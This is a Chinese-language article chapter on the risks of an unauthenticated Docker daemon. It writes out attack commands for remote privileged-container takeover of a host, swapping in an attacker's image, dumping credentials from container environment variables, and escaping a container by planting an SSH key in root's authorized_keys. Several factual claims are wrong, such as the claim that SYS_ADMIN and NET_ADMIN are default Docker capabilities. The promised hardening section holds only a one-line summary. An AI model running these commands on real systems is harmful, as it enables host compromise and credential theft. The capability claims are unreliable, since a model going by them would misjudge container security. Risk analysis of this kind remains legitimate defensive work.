4、无鉴权风险分析:默认配置下的安全漏洞、未授权访问攻击场景、数据泄露与容器逃逸风险
在生产环境中,Docker 容器默认配置往往以“开箱即用”为优先,而非“安全加固”。这种默认行为在缺乏显式鉴权机制时,会暴露出一系列严重的安全风险。本章将系统分析无鉴权状态下,从外部攻击到内部逃逸的完整风险链路。
4.1 默认配置下的安全漏洞全景
Docker 守护进程(dockerd)默认监听在本地 Unix Socket(/var/run/docker.sock),但许多运维人员为了远程管理,会将其暴露在 TCP 端口(2375/2376)上。若未配置 TLS 鉴权,任何能够访问该端口的攻击者都将获得等同于 root 的 Docker 管理权限。
| 配置项 | 默认值 | 安全风险等级 | 风险描述 |
|---|---|---|---|
| Docker Socket 权限 | root:docker 660 |
高 | 加入 docker 组的用户可无密码执行任意容器操作 |
| TCP 监听(2375) | 未启用(默认仅 Unix Socket) | 极高(若启用) | 无加密、无鉴权,远程任意代码执行 |
| 容器默认 Capabilities | 约 14 个(如 SYS_ADMIN、NET_ADMIN) | 中 | 容器内进程拥有超出必要的主机能力 |
| 容器默认 Seccomp 策略 | 默认拒绝 44 个系统调用 | 低(但可被绕过) | 部分高危调用(如 mount)未被完全限制 |
| 容器默认 AppArmor/SELinux | 部分发行版未强制启用 | 中 | 缺乏强制访问控制,容器可访问敏感文件 |
4.2 未授权访问攻击场景
未授权访问是 Docker 无鉴权配置下最直接的攻击路径。攻击者通过扫描公网或内网中的 2375 端口,即可发起以下典型攻击。
4.2.1 攻击场景一:远程容器创建与主机接管
攻击者直接通过 Docker API 创建特权容器,并将宿主机根目录挂载到容器内,从而获得宿主机文件系统的完全控制权。
# 攻击者执行(假设目标 192.168.1.100:2375)
docker -H tcp://192.168.1.100:2375 run -it --privileged -v /:/host ubuntu:latest /bin/bash
# 在容器内执行
chroot /host
# 此时攻击者已获得宿主机 root shell
4.2.2 攻击场景二:镜像投毒与供应链攻击
攻击者利用未授权 API 修改或替换宿主机上的已有镜像,或向私有仓库推送恶意镜像,从而污染整个容器供应链。
# 攻击者列出所有镜像
docker -H tcp://192.168.1.100:2375 images
# 删除合法镜像并拉取恶意镜像
docker -H tcp://192.168.1.100:2375 rmi legitimate-image:latest
docker -H tcp://192.168.1.100:2375 pull attacker/malicious-image:latest
docker -H tcp://192.168.1.100:2375 tag attacker/malicious-image:latest legitimate-image:latest
4.2.3 攻击场景三:信息泄露与凭证窃取
攻击者通过 API 枚举所有运行中的容器,读取环境变量、日志文件以及挂载的配置卷,从中提取数据库密码、API 密钥、云服务凭证等敏感信息。
# 攻击者查看所有容器的环境变量
docker -H tcp://192.168.1.100:2375 inspect $(docker -H tcp://192.168.1.100:2375 ps -q) | grep -A5 "Env"
4.3 数据泄露风险
无鉴权配置下的数据泄露不仅限于 API 直接暴露的信息,还包括容器运行时的间接泄露途径。
- 卷挂载泄露: 攻击者通过创建挂载宿主机目录的容器,可读取宿主机上所有文件,包括
/etc/shadow、数据库数据文件、SSL 私钥等。 - 环境变量泄露: 许多应用将数据库密码、API 密钥直接写在 Dockerfile 的
ENV指令或docker run -e参数中,这些变量通过docker inspect即可明文获取。 - 网络流量嗅探: 攻击者在同一宿主机上创建容器,通过桥接网络模式可嗅探其他容器的网络通信,若通信未加密则直接泄露数据。
- 日志与调试接口泄露: 容器内运行的应用程序若开启了调试接口(如 Actuator、Flask Debug),攻击者可通过端口映射直接访问。
4.4 容器逃逸风险
容器逃逸是无鉴权风险中最严重的后果。攻击者一旦获得容器内的执行权限,可利用默认配置的薄弱点突破容器隔离,直接控制宿主机。
4.4.1 逃逸路径一:特权容器逃逸
攻击者通过未授权 API 创建 --privileged 容器,该容器拥有几乎全部内核能力,可直接操作宿主机设备、挂载文件系统、加载内核模块。
# 在特权容器内执行逃逸
# 1. 挂载宿主机根目录
mount /dev/sda1 /mnt
# 2. 写入 SSH 公钥
echo "ssh-rsa AAA..." >> /mnt/root/.ssh/authorized_keys
# 3. 切换根目录
chroot /mnt
# 此时已获得宿主机 root shell
4.4.2 逃逸路径二:Capabilities 滥用
即使不是完全特权模式,默认赋予的 SYS_ADMIN、NET_ADMIN、SYS_PTRACE 等 Capability 也足以实现逃逸。
| Capability | 逃逸手法 | 利用条件 |
|---|---|---|
SYS_ADMIN |
挂载 cgroup 子系统,利用 notify_on_release 执行宿主机命令 | 容器内可写 cgroup 文件系统 |
SYS_PTRACE |
通过 ptrace 附加到宿主机进程,注入代码 | 宿主机进程与容器共享 PID namespace |
NET_ADMIN |
修改网络命名空间配置,创建 veth pair 桥接到宿主机 | 容器拥有 NET_ADMIN 且宿主机未限制网络命名空间 |
SYS_MODULE |
加载恶意内核模块,直接控制宿主机内核 | 容器拥有 SYS_MODULE 且宿主机未锁定内核模块加载 |
4.4.3 逃逸路径三:Docker Socket 挂载逃逸
部分容器为了管理自身或兄弟容器,会将 /var/run/docker.sock 挂载到容器内部。攻击者一旦攻破该容器,即可通过 Socket 控制宿主机 Docker 守护进程,创建特权容器完成逃逸。
# 在已挂载 docker.sock 的容器内
# 1. 安装 Docker CLI(或直接调用 API)
apt-get update && apt-get install -y docker.io
# 2. 创建特权容器并挂载宿主机根目录
docker run -it --privileged -v /:/host ubuntu:latest /bin/bash
# 3. 在新建容器内 chroot 到 /host,完成逃逸
4.5 风险总结与加固建议
无鉴权配置下的风险链条清晰且致命:未授权访问 → 容器控制 → 数据泄露 → 容器逃逸 → 宿主机沦陷。每一个环节的利用难度都极低,但破坏力极大。